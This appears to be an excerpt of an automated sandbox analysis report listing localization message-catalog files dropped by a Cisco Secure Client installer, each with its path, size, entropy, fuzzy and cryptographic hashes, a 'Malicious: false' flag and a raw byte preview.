Preview:	........n........[..C...................................................$...+.......+...........:.......Q...c...l...`...........1.......P...;...........-...^.../...G.......@.......B...........Z...;...f...Y...............................;...........X.......n.......u.......}.......................................;.......R.......d.......w.......................[.......n...?...~...(.......0...................-.......@.......].......c.......l.......................[.......D.......K.......[.......p...............................................................'...e...D...#...............6...t...........................=.......?.......W...)...#...................%..._.......,.......@...8...8...y.../.......N.......E...1...0...w...c.......;.......)...H...y...r...4.......[...!.......}...........v.......*.......H...5...A...~...V.......\.......n...t...X.......q...<...7.......1.......d.......U...}...0.......k...........p.......%.......).......I.......U.......r...$...................................

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\Setup\5.0.00923\l10n\fr-ca\LC_MESSAGES\is-O7BSI.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 2926 messages, Project-Id-Version: Cisco Secure Client 5.0.00000
Category:	dropped
Size (bytes):	366110
Entropy (8bit):	5.203256685903476
Encrypted:	false
SSDEEP:	6144:LjH3UKZRI1w8uVBKfKh+EMVBfFUwKmXeEXNfl:L7hnRCgwKmXeEdfl
MD5:	283DE4CDF40608573B8CF8ACF853524A
SHA1:	43119C50A0F9459624D7CA1CCC9C65D0474EDC32
SHA-256:	6169558657F7D31BBA1335D14D8515877F0EBCF963604F54D7B8676F59437426
SHA-512:	63FAF192C420503F17700E9B757F864F997B76E3DC41BAA01F664672159FEFDC84F338BBA77B06E5D0DF29FA4A422CCA49FDDAC80F7F64C35570E9430972618F
Malicious:	false
Preview:	........n........[..C...................................................$...+.......+...........:.......Q...c...l...`...........1.......P...;...........-...^.../...G.......@.......B...........Z...;...f...Y...............................;...........X.......n.......u.......}.......................................;.......R.......d.......w.......................[.......n...?...~...(.......0...................-.......@.......].......c.......l.......................[.......D.......K.......[.......p...............................................................'...e...D...#...............6...t...........................=.......?.......W...)...#...................%..._.......,.......@...8...8...y.../.......N.......E...1...0...w...c.......;.......)...H...y...r...4.......[...!.......}...........v.......*.......H...5...A...~...V.......\.......n...t...X.......q...<...7.......1.......d.......U...}...0.......k...........p.......%.......).......I.......U.......r...$...................................

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\Setup\5.0.00923\l10n\fr-fr\LC_MESSAGES\SecureClientDefault.mo (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 2926 messages, Project-Id-Version: Cisco Secure Client 5.0.00000
Category:	dropped
Size (bytes):	362312
Entropy (8bit):	5.179123156153952
Encrypted:	false
SSDEEP:	6144:LjH3UKDGU3VBKfKh+GCaWCbQgoksGtxZMexJ8tjjNa+HTDzewKLMYspLW1UbwR+Q:L7hDGBRbBwR+Q
MD5:	0656A498B0ADF363A0D80BAF67A4C24B
SHA1:	A8D919E044EF0C20BDC2671F74EE38C3428C42D1
SHA-256:	F1BBF2D27C7CD80028E38E54097A975735F06035674BD991AAFF05429B479A30
SHA-512:	93D1603302BB59C25CB93B5012CAAB94A846092342CC947F508C46A7BE464F6C40B526E1F080E0536FF577DA74891EC51A3B3A65501547898AAABD71613FA84A
Malicious:	false
Preview:	........n........[..C...................................................$...+.......+...........:.......Q...c...l...`...........1.......P...;...........-...^.../...G.......@.......B...........Z...;...f...Y...............................;...........X.......n.......u.......}.......................................;.......R.......d.......w.......................[.......n...?...~...(.......0...................-.......@.......].......c.......l.......................[.......D.......K.......[.......p...............................................................'...e...D...#...............6...t...........................=.......?.......W...)...#...................%..._.......,.......@...8...8...y.../.......N.......E...1...0...w...c.......;.......)...H...y...r...4.......[...!.......}...........v.......*.......H...5...A...~...V.......\.......n...t...X.......q...<...7.......1.......d.......U...}...0.......k...........p.......%.......).......I.......U.......r...$...................................

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\Setup\5.0.00923\l10n\fr-fr\LC_MESSAGES\is-LCBPG.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 2926 messages, Project-Id-Version: Cisco Secure Client 5.0.00000
Category:	dropped
Size (bytes):	362312
Entropy (8bit):	5.179123156153952
Encrypted:	false
SSDEEP:	6144:LjH3UKDGU3VBKfKh+GCaWCbQgoksGtxZMexJ8tjjNa+HTDzewKLMYspLW1UbwR+Q:L7hDGBRbBwR+Q
MD5:	0656A498B0ADF363A0D80BAF67A4C24B
SHA1:	A8D919E044EF0C20BDC2671F74EE38C3428C42D1
SHA-256:	F1BBF2D27C7CD80028E38E54097A975735F06035674BD991AAFF05429B479A30
SHA-512:	93D1603302BB59C25CB93B5012CAAB94A846092342CC947F508C46A7BE464F6C40B526E1F080E0536FF577DA74891EC51A3B3A65501547898AAABD71613FA84A
Malicious:	false
Preview:	........n........[..C...................................................$...+.......+...........:.......Q...c...l...`...........1.......P...;...........-...^.../...G.......@.......B...........Z...;...f...Y...............................;...........X.......n.......u.......}.......................................;.......R.......d.......w.......................[.......n...?...~...(.......0...................-.......@.......].......c.......l.......................[.......D.......K.......[.......p...............................................................'...e...D...#...............6...t...........................=.......?.......W...)...#...................%..._.......,.......@...8...8...y.../.......N.......E...1...0...w...c.......;.......)...H...y...r...4.......[...!.......}...........v.......*.......H...5...A...~...V.......\.......n...t...X.......q...<...7.......1.......d.......U...}...0.......k...........p.......%.......).......I.......U.......r...$...................................

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\Setup\5.0.00923\l10n\hu-hu\LC_MESSAGES\SecureClientDefault.mo (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 2926 messages, Project-Id-Version: Cisco Secure Client 5.0.00000
Category:	dropped
Size (bytes):	362333
Entropy (8bit):	5.410491653751883
Encrypted:	false
SSDEEP:	6144:LjH3UKi/6g1JVBKfKh+KLOPdxLFCtnCCt+GawO+:L7hXgpOFxtn+
MD5:	E0D3819F0EB0197EF322DC22B375C578
SHA1:	F6E9928FA3CEF1B892703DE3EA394BF5D5A4DE52
SHA-256:	235C288B5B2A29BE8EA14140AA9D223314AD559545A39D4EEC7F5EB09C024DAD
SHA-512:	358574029EF1BCE7A9A20263155338EEA7A00BE9C2DA7215177A2674EB3655AF74BD11248F231F4A5EE2D0C27E0862ECD88B7B2BD6944328B91DD58BA71DE462
Malicious:	false
Preview:	........n........[..C...................................................$...+.......+...........:.......Q...c...l...`...........1.......P...;...........-...^.../...G.......@.......B...........Z...;...f...Y...............................;...........X.......n.......u.......}.......................................;.......R.......d.......w.......................[.......n...?...~...(.......0...................-.......@.......].......c.......l.......................[.......D.......K.......[.......p...............................................................'...e...D...#...............6...t...........................=.......?.......W...)...#...................%..._.......,.......@...8...8...y.../.......N.......E...1...0...w...c.......;.......)...H...y...r...4.......[...!.......}...........v.......*.......H...5...A...~...V.......\.......n...t...X.......q...<...7.......1.......d.......U...}...0.......k...........p.......%.......).......I.......U.......r...$...................................

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\Setup\5.0.00923\l10n\hu-hu\LC_MESSAGES\is-068TG.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 2926 messages, Project-Id-Version: Cisco Secure Client 5.0.00000
Category:	dropped
Size (bytes):	362333
Entropy (8bit):	5.410491653751883
Encrypted:	false
SSDEEP:	6144:LjH3UKi/6g1JVBKfKh+KLOPdxLFCtnCCt+GawO+:L7hXgpOFxtn+
MD5:	E0D3819F0EB0197EF322DC22B375C578
SHA1:	F6E9928FA3CEF1B892703DE3EA394BF5D5A4DE52
SHA-256:	235C288B5B2A29BE8EA14140AA9D223314AD559545A39D4EEC7F5EB09C024DAD
SHA-512:	358574029EF1BCE7A9A20263155338EEA7A00BE9C2DA7215177A2674EB3655AF74BD11248F231F4A5EE2D0C27E0862ECD88B7B2BD6944328B91DD58BA71DE462
Malicious:	false
Preview:	........n........[..C...................................................$...+.......+...........:.......Q...c...l...`...........1.......P...;...........-...^.../...G.......@.......B...........Z...;...f...Y...............................;...........X.......n.......u.......}.......................................;.......R.......d.......w.......................[.......n...?...~...(.......0...................-.......@.......].......c.......l.......................[.......D.......K.......[.......p...............................................................'...e...D...#...............6...t...........................=.......?.......W...)...#...................%..._.......,.......@...8...8...y.../.......N.......E...1...0...w...c.......;.......)...H...y...r...4.......[...!.......}...........v.......*.......H...5...A...~...V.......\.......n...t...X.......q...<...7.......1.......d.......U...}...0.......k...........p.......%.......).......I.......U.......r...$...................................

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\Setup\5.0.00923\l10n\it-it\LC_MESSAGES\SecureClientDefault.mo (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 2926 messages, Project-Id-Version: Cisco Secure Client 5.0.00000
Category:	dropped
Size (bytes):	348721
Entropy (8bit):	5.110965971564126
Encrypted:	false
SSDEEP:	6144:LjH3UKh3E5VBKfKh+YFxrglCbcTpLSmYYTpkDUcf8864POcncKpFsy0E5zQE+rAJ:L7hp2
MD5:	20C363D5CC6F504F8269CD61B388DCDE
SHA1:	1F8149525D4B96E42A6E3DCB75D1BEB891A0C9E0
SHA-256:	22DA7703EE811B0A7288F7BD771732B62D9284A156ED43A8E575A266134ADE9E
SHA-512:	4B8B2D03E7670E1635054591E929176781A33B6AAF9B02AF80AD19D02257EA827E9D7E5F5E4F698730AD27699FA5F7D90257EE8967C5886D2E94F18BFF621876
Malicious:	false
Preview:	........n........[..C...................................................$...+.......+...........:.......Q...c...l...`...........1.......P...;...........-...^.../...G.......@.......B...........Z...;...f...Y...............................;...........X.......n.......u.......}.......................................;.......R.......d.......w.......................[.......n...?...~...(.......0...................-.......@.......].......c.......l.......................[.......D.......K.......[.......p...............................................................'...e...D...#...............6...t...........................=.......?.......W...)...#...................%..._.......,.......@...8...8...y.../.......N.......E...1...0...w...c.......;.......)...H...y...r...4.......[...!.......}...........v.......*.......H...5...A...~...V.......\.......n...t...X.......q...<...7.......1.......d.......U...}...0.......k...........p.......%.......).......I.......U.......r...$...................................

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\Setup\5.0.00923\l10n\it-it\LC_MESSAGES\is-O7MHN.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 2926 messages, Project-Id-Version: Cisco Secure Client 5.0.00000
Category:	dropped
Size (bytes):	348721
Entropy (8bit):	5.110965971564126
Encrypted:	false
SSDEEP:	6144:LjH3UKh3E5VBKfKh+YFxrglCbcTpLSmYYTpkDUcf8864POcncKpFsy0E5zQE+rAJ:L7hp2
MD5:	20C363D5CC6F504F8269CD61B388DCDE
SHA1:	1F8149525D4B96E42A6E3DCB75D1BEB891A0C9E0
SHA-256:	22DA7703EE811B0A7288F7BD771732B62D9284A156ED43A8E575A266134ADE9E
SHA-512:	4B8B2D03E7670E1635054591E929176781A33B6AAF9B02AF80AD19D02257EA827E9D7E5F5E4F698730AD27699FA5F7D90257EE8967C5886D2E94F18BFF621876
Malicious:	false
Preview:	........n........[..C...................................................$...+.......+...........:.......Q...c...l...`...........1.......P...;...........-...^.../...G.......@.......B...........Z...;...f...Y...............................;...........X.......n.......u.......}.......................................;.......R.......d.......w.......................[.......n...?...~...(.......0...................-.......@.......].......c.......l.......................[.......D.......K.......[.......p...............................................................'...e...D...#...............6...t...........................=.......?.......W...)...#...................%..._.......,.......@...8...8...y.../.......N.......E...1...0...w...c.......;.......)...H...y...r...4.......[...!.......}...........v.......*.......H...5...A...~...V.......\.......n...t...X.......q...<...7.......1.......d.......U...}...0.......k...........p.......%.......).......I.......U.......r...$...................................

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\Setup\5.0.00923\l10n\ja-jp\LC_MESSAGES\SecureClientDefault.mo (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 2926 messages, Project-Id-Version: Cisco Secure Client 5.0.00000
Category:	dropped
Size (bytes):	388375
Entropy (8bit):	5.9662824242248815
Encrypted:	false
SSDEEP:	3072:LjH3U1ogMVyKDmDma70moVBKIuDVKuAYjG+chxEb1XVnhpHg7rmYO0pK4Wl1:LjH3UKtpKDKVBKfKh+HYOSWb
MD5:	0C1C5B23F0C946634836320A60E2246B
SHA1:	9C19265229FAD61B2FCB9FA8E2DC2FDD5DFD97E0
SHA-256:	83A4965A098972336EEFD6C9F9D070BA4C546B11494423621155A2E8084B864E
SHA-512:	E08008AFDFEECA4D75ED57AB9DBAA002F1CA30C0F8B32507EABDE3367AA5152ACEF4F60230E01966F3EC38315BBCD77384F874EC69F8327AEB4720182CB10BF0
Malicious:	false
Preview:	........n........[..C...................................................$...+.......+...........:.......Q...c...l...`...........1.......P...;...........-...^.../...G.......@.......B...........Z...;...f...Y...............................;...........X.......n.......u.......}.......................................;.......R.......d.......w.......................[.......n...?...~...(.......0...................-.......@.......].......c.......l.......................[.......D.......K.......[.......p...............................................................'...e...D...#...............6...t...........................=.......?.......W...)...#...................%..._.......,.......@...8...8...y.../.......N.......E...1...0...w...c.......;.......)...H...y...r...4.......[...!.......}...........v.......*.......H...5...A...~...V.......\.......n...t...X.......q...<...7.......1.......d.......U...}...0.......k...........p.......%.......).......I.......U.......r...$...................................

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\Setup\5.0.00923\l10n\ja-jp\LC_MESSAGES\is-QMEO1.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 2926 messages, Project-Id-Version: Cisco Secure Client 5.0.00000
Category:	dropped
Size (bytes):	388375
Entropy (8bit):	5.9662824242248815
Encrypted:	false
SSDEEP:	3072:LjH3U1ogMVyKDmDma70moVBKIuDVKuAYjG+chxEb1XVnhpHg7rmYO0pK4Wl1:LjH3UKtpKDKVBKfKh+HYOSWb
MD5:	0C1C5B23F0C946634836320A60E2246B
SHA1:	9C19265229FAD61B2FCB9FA8E2DC2FDD5DFD97E0
SHA-256:	83A4965A098972336EEFD6C9F9D070BA4C546B11494423621155A2E8084B864E
SHA-512:	E08008AFDFEECA4D75ED57AB9DBAA002F1CA30C0F8B32507EABDE3367AA5152ACEF4F60230E01966F3EC38315BBCD77384F874EC69F8327AEB4720182CB10BF0
Malicious:	false
Preview:	........n........[..C...................................................$...+.......+...........:.......Q...c...l...`...........1.......P...;...........-...^.../...G.......@.......B...........Z...;...f...Y...............................;...........X.......n.......u.......}.......................................;.......R.......d.......w.......................[.......n...?...~...(.......0...................-.......@.......].......c.......l.......................[.......D.......K.......[.......p...............................................................'...e...D...#...............6...t...........................=.......?.......W...)...#...................%..._.......,.......@...8...8...y.../.......N.......E...1...0...w...c.......;.......)...H...y...r...4.......[...!.......}...........v.......*.......H...5...A...~...V.......\.......n...t...X.......q...<...7.......1.......d.......U...}...0.......k...........p.......%.......).......I.......U.......r...$...................................

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\Setup\5.0.00923\l10n\ko-kr\LC_MESSAGES\SecureClientDefault.mo (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 2926 messages, Project-Id-Version: Cisco Secure Client 5.0.00000
Category:	dropped
Size (bytes):	357929
Entropy (8bit):	6.014691052026819
Encrypted:	false
SSDEEP:	3072:LjH3U1ogM5PcD4sAVoVBKIuDVKuAYjG+chxEb1XVnhkv3zdYGLzOJ7CiqP0aCKo:LjH3UKwSOVBKfKh+wfBY6iJ7CLc5Ko
MD5:	B0DAAEF17D63E6DB7225FC65A5BEED25
SHA1:	CD73B824DDC96B0BCB4BA3E4BF389BF8153B2440
SHA-256:	3B0D7490F9015F37EBA158AFE26F9C56A9D35624564CD295EC596D9A6B52B340
SHA-512:	448D36E38E516A33CD5A9AB50B3DEE45B1EED40E05AC9B13B3041CC4523EB8E42EE3A88355FA27A1652D0B8D9C58DECD90FF88EEE2765D42584FD94142ACDA8B
Malicious:	false
Preview:	........n........[..C...................................................$...+.......+...........:.......Q...c...l...`...........1.......P...;...........-...^.../...G.......@.......B...........Z...;...f...Y...............................;...........X.......n.......u.......}.......................................;.......R.......d.......w.......................[.......n...?...~...(.......0...................-.......@.......].......c.......l.......................[.......D.......K.......[.......p...............................................................'...e...D...#...............6...t...........................=.......?.......W...)...#...................%..._.......,.......@...8...8...y.../.......N.......E...1...0...w...c.......;.......)...H...y...r...4.......[...!.......}...........v.......*.......H...5...A...~...V.......\.......n...t...X.......q...<...7.......1.......d.......U...}...0.......k...........p.......%.......).......I.......U.......r...$...................................

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\Setup\5.0.00923\l10n\ko-kr\LC_MESSAGES\is-3FJTR.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 2926 messages, Project-Id-Version: Cisco Secure Client 5.0.00000
Category:	dropped
Size (bytes):	357929
Entropy (8bit):	6.014691052026819
Encrypted:	false
SSDEEP:	3072:LjH3U1ogM5PcD4sAVoVBKIuDVKuAYjG+chxEb1XVnhkv3zdYGLzOJ7CiqP0aCKo:LjH3UKwSOVBKfKh+wfBY6iJ7CLc5Ko
MD5:	B0DAAEF17D63E6DB7225FC65A5BEED25
SHA1:	CD73B824DDC96B0BCB4BA3E4BF389BF8153B2440
SHA-256:	3B0D7490F9015F37EBA158AFE26F9C56A9D35624564CD295EC596D9A6B52B340
SHA-512:	448D36E38E516A33CD5A9AB50B3DEE45B1EED40E05AC9B13B3041CC4523EB8E42EE3A88355FA27A1652D0B8D9C58DECD90FF88EEE2765D42584FD94142ACDA8B
Malicious:	false
Preview:	........n........[..C...................................................$...+.......+...........:.......Q...c...l...`...........1.......P...;...........-...^.../...G.......@.......B...........Z...;...f...Y...............................;...........X.......n.......u.......}.......................................;.......R.......d.......w.......................[.......n...?...~...(.......0...................-.......@.......].......c.......l.......................[.......D.......K.......[.......p...............................................................'...e...D...#...............6...t...........................=.......?.......W...)...#...................%..._.......,.......@...8...8...y.../.......N.......E...1...0...w...c.......;.......)...H...y...r...4.......[...!.......}...........v.......*.......H...5...A...~...V.......\.......n...t...X.......q...<...7.......1.......d.......U...}...0.......k...........p.......%.......).......I.......U.......r...$...................................

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\Setup\5.0.00923\l10n\nl-nl\LC_MESSAGES\SecureClientDefault.mo (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 2926 messages, Project-Id-Version: Cisco Secure Client 5.0.00000
Category:	dropped
Size (bytes):	347088
Entropy (8bit):	5.137429334753401
Encrypted:	false
SSDEEP:	3072:LjH3U1ogMlckwL1nSoVBKIuDVKuAYjG+chxEb1XVnhMmpLSr1LgO0+1zfykgRhr8:LjH3UKtcpnnVBKfKh+jFP0Z
MD5:	F9ABBCA86A0DAB6C01915CB745CDE31A
SHA1:	49FF0DB4BDCF002AC981AADEAF839FB9F210F28F
SHA-256:	281772D7111DBEE29EE3728CDC56634B4D75AC16E681D66B008EEFECAF6277B3
SHA-512:	76E4FB468C76ADA1B355F7786CF9EE57DCEAB3294E57310B4BA8B9BB84A6EFB4F3BDFB31B4541DBC461164E521496B0287BE0ACC09732E3089B49E491D130FAB
Malicious:	false
Preview:	........n........[..C...................................................$...+.......+...........:.......Q...c...l...`...........1.......P...;...........-...^.../...G.......@.......B...........Z...;...f...Y...............................;...........X.......n.......u.......}.......................................;.......R.......d.......w.......................[.......n...?...~...(.......0...................-.......@.......].......c.......l.......................[.......D.......K.......[.......p...............................................................'...e...D...#...............6...t...........................=.......?.......W...)...#...................%..._.......,.......@...8...8...y.../.......N.......E...1...0...w...c.......;.......)...H...y...r...4.......[...!.......}...........v.......*.......H...5...A...~...V.......\.......n...t...X.......q...<...7.......1.......d.......U...}...0.......k...........p.......%.......).......I.......U.......r...$...................................

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\Setup\5.0.00923\l10n\nl-nl\LC_MESSAGES\is-K8IQ3.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 2926 messages, Project-Id-Version: Cisco Secure Client 5.0.00000
Category:	dropped
Size (bytes):	347088
Entropy (8bit):	5.137429334753401
Encrypted:	false
SSDEEP:	3072:LjH3U1ogMlckwL1nSoVBKIuDVKuAYjG+chxEb1XVnhMmpLSr1LgO0+1zfykgRhr8:LjH3UKtcpnnVBKfKh+jFP0Z
MD5:	F9ABBCA86A0DAB6C01915CB745CDE31A
SHA1:	49FF0DB4BDCF002AC981AADEAF839FB9F210F28F
SHA-256:	281772D7111DBEE29EE3728CDC56634B4D75AC16E681D66B008EEFECAF6277B3
SHA-512:	76E4FB468C76ADA1B355F7786CF9EE57DCEAB3294E57310B4BA8B9BB84A6EFB4F3BDFB31B4541DBC461164E521496B0287BE0ACC09732E3089B49E491D130FAB
Malicious:	false
Preview:	........n........[..C...................................................$...+.......+...........:.......Q...c...l...`...........1.......P...;...........-...^.../...G.......@.......B...........Z...;...f...Y...............................;...........X.......n.......u.......}.......................................;.......R.......d.......w.......................[.......n...?...~...(.......0...................-.......@.......].......c.......l.......................[.......D.......K.......[.......p...............................................................'...e...D...#...............6...t...........................=.......?.......W...)...#...................%..._.......,.......@...8...8...y.../.......N.......E...1...0...w...c.......;.......)...H...y...r...4.......[...!.......}...........v.......*.......H...5...A...~...V.......\.......n...t...X.......q...<...7.......1.......d.......U...}...0.......k...........p.......%.......).......I.......U.......r...$...................................

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\Setup\5.0.00923\l10n\pl-pl\LC_MESSAGES\SecureClientDefault.mo (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 2926 messages, Project-Id-Version: Cisco Secure Client 5.0.00000
Category:	dropped
Size (bytes):	352370
Entropy (8bit):	5.387002164805478
Encrypted:	false
SSDEEP:	6144:LjH3UKisfdVbVBKfKh+tps+fpWQUbSKN/dTkL4ecW:L7h/VojUbS
MD5:	40675B2B9871F33C2739B9636A54EE25
SHA1:	9E16B111B97E810EB5E32FF935649DD5057AFD52
SHA-256:	C165FF2D1226D1653E42E133DCD3346B3C239779C4EAFF2FA05D8A8416AABEE1
SHA-512:	1C1908139C3A4072431D74360513369CFBDD4F0E9EB839457A3C15622A2C5983278DA2BB883CD159C358C143C17CDDC37C54A92F691E313DDE4DC891AF1D1F99
Malicious:	false
Preview:	........n........[..C...................................................$...+.......+...........:.......Q...c...l...`...........1.......P...;...........-...^.../...G.......@.......B...........Z...;...f...Y...............................;...........X.......n.......u.......}.......................................;.......R.......d.......w.......................[.......n...?...~...(.......0...................-.......@.......].......c.......l.......................[.......D.......K.......[.......p...............................................................'...e...D...#...............6...t...........................=.......?.......W...)...#...................%..._.......,.......@...8...8...y.../.......N.......E...1...0...w...c.......;.......)...H...y...r...4.......[...!.......}...........v.......*.......H...5...A...~...V.......\.......n...t...X.......q...<...7.......1.......d.......U...}...0.......k...........p.......%.......).......I.......U.......r...$...................................

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\Setup\5.0.00923\l10n\pl-pl\LC_MESSAGES\is-OKE3M.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 2926 messages, Project-Id-Version: Cisco Secure Client 5.0.00000
Category:	dropped
Size (bytes):	352370
Entropy (8bit):	5.387002164805478
Encrypted:	false
SSDEEP:	6144:LjH3UKisfdVbVBKfKh+tps+fpWQUbSKN/dTkL4ecW:L7h/VojUbS
MD5:	40675B2B9871F33C2739B9636A54EE25
SHA1:	9E16B111B97E810EB5E32FF935649DD5057AFD52
SHA-256:	C165FF2D1226D1653E42E133DCD3346B3C239779C4EAFF2FA05D8A8416AABEE1
SHA-512:	1C1908139C3A4072431D74360513369CFBDD4F0E9EB839457A3C15622A2C5983278DA2BB883CD159C358C143C17CDDC37C54A92F691E313DDE4DC891AF1D1F99
Malicious:	false
Preview:	........n........[..C...................................................$...+.......+...........:.......Q...c...l...`...........1.......P...;...........-...^.../...G.......@.......B...........Z...;...f...Y...............................;...........X.......n.......u.......}.......................................;.......R.......d.......w.......................[.......n...?...~...(.......0...................-.......@.......].......c.......l.......................[.......D.......K.......[.......p...............................................................'...e...D...#...............6...t...........................=.......?.......W...)...#...................%..._.......,.......@...8...8...y.../.......N.......E...1...0...w...c.......;.......)...H...y...r...4.......[...!.......}...........v.......*.......H...5...A...~...V.......\.......n...t...X.......q...<...7.......1.......d.......U...}...0.......k...........p.......%.......).......I.......U.......r...$...................................

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\Setup\5.0.00923\l10n\pt-br\LC_MESSAGES\SecureClientDefault.mo (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 2926 messages, Project-Id-Version: Cisco Secure Client 5.0.00000
Category:	dropped
Size (bytes):	347902
Entropy (8bit):	5.1986177425205575
Encrypted:	false
SSDEEP:	6144:LjH3UKI0MSKZVBKfKh+Ec3LVWxcdXpnY3eURwoqL:L7haJ6
MD5:	B4D5001D372A2A132C4E7D55EAE51207
SHA1:	7EF98532BD39FB2A157A84824EE85BE6856BE3E0
SHA-256:	74D771DF4E83F0D39244FBA32EC6EC10B455398FC2807AD0019ADE29D175935C
SHA-512:	9BAF4D5B332EE1EF8708DE77463D869FB28EB8CD645978E64C8194E40A3C3D681F23313E18654B64EA6C6D1AB075B26628E2B34F2EF608BF1A76CB3427CDFD72
Malicious:	false
Preview:	........n........[..C...................................................$...+.......+...........:.......Q...c...l...`...........1.......P...;...........-...^.../...G.......@.......B...........Z...;...f...Y...............................;...........X.......n.......u.......}.......................................;.......R.......d.......w.......................[.......n...?...~...(.......0...................-.......@.......].......c.......l.......................[.......D.......K.......[.......p...............................................................'...e...D...#...............6...t...........................=.......?.......W...)...#...................%..._.......,.......@...8...8...y.../.......N.......E...1...0...w...c.......;.......)...H...y...r...4.......[...!.......}...........v.......*.......H...5...A...~...V.......\.......n...t...X.......q...<...7.......1.......d.......U...}...0.......k...........p.......%.......).......I.......U.......r...$...................................

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\Setup\5.0.00923\l10n\pt-br\LC_MESSAGES\is-1V30U.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 2926 messages, Project-Id-Version: Cisco Secure Client 5.0.00000
Category:	dropped
Size (bytes):	347902
Entropy (8bit):	5.1986177425205575
Encrypted:	false
SSDEEP:	6144:LjH3UKI0MSKZVBKfKh+Ec3LVWxcdXpnY3eURwoqL:L7haJ6
MD5:	B4D5001D372A2A132C4E7D55EAE51207
SHA1:	7EF98532BD39FB2A157A84824EE85BE6856BE3E0
SHA-256:	74D771DF4E83F0D39244FBA32EC6EC10B455398FC2807AD0019ADE29D175935C
SHA-512:	9BAF4D5B332EE1EF8708DE77463D869FB28EB8CD645978E64C8194E40A3C3D681F23313E18654B64EA6C6D1AB075B26628E2B34F2EF608BF1A76CB3427CDFD72
Malicious:	false
Preview:	........n........[..C...................................................$...+.......+...........:.......Q...c...l...`...........1.......P...;...........-...^.../...G.......@.......B...........Z...;...f...Y...............................;...........X.......n.......u.......}.......................................;.......R.......d.......w.......................[.......n...?...~...(.......0...................-.......@.......].......c.......l.......................[.......D.......K.......[.......p...............................................................'...e...D...#...............6...t...........................=.......?.......W...)...#...................%..._.......,.......@...8...8...y.../.......N.......E...1...0...w...c.......;.......)...H...y...r...4.......[...!.......}...........v.......*.......H...5...A...~...V.......\.......n...t...X.......q...<...7.......1.......d.......U...}...0.......k...........p.......%.......).......I.......U.......r...$...................................

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\Setup\5.0.00923\l10n\ru-ru\LC_MESSAGES\SecureClientDefault.mo (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 2926 messages, Project-Id-Version: Cisco Secure Client 5.0.00000
Category:	dropped
Size (bytes):	467531
Entropy (8bit):	5.410391422981112
Encrypted:	false
SSDEEP:	12288:L7hsbx/gNDWv68D6Iv6x5RaGUT0fDmKuajZHd+1wt8:L7a6FmG8
MD5:	2C1A2A453E54BFCEE2E97D458843C3BE
SHA1:	DF8512B13FB56BB6FCCC5BA01C91D42949875B44
SHA-256:	535CD27F4C25F5C007432FFD985C7EA3325659F2D1544264F317E71DD3377E84
SHA-512:	2351333B17AB072A2AC9E24D0772775D3519A3163EEB6BAB735845BBC96A51380A181C4E99AD21BECD99F8ED256E845DC421B773F33DD45E260783E90CA66333
Malicious:	false
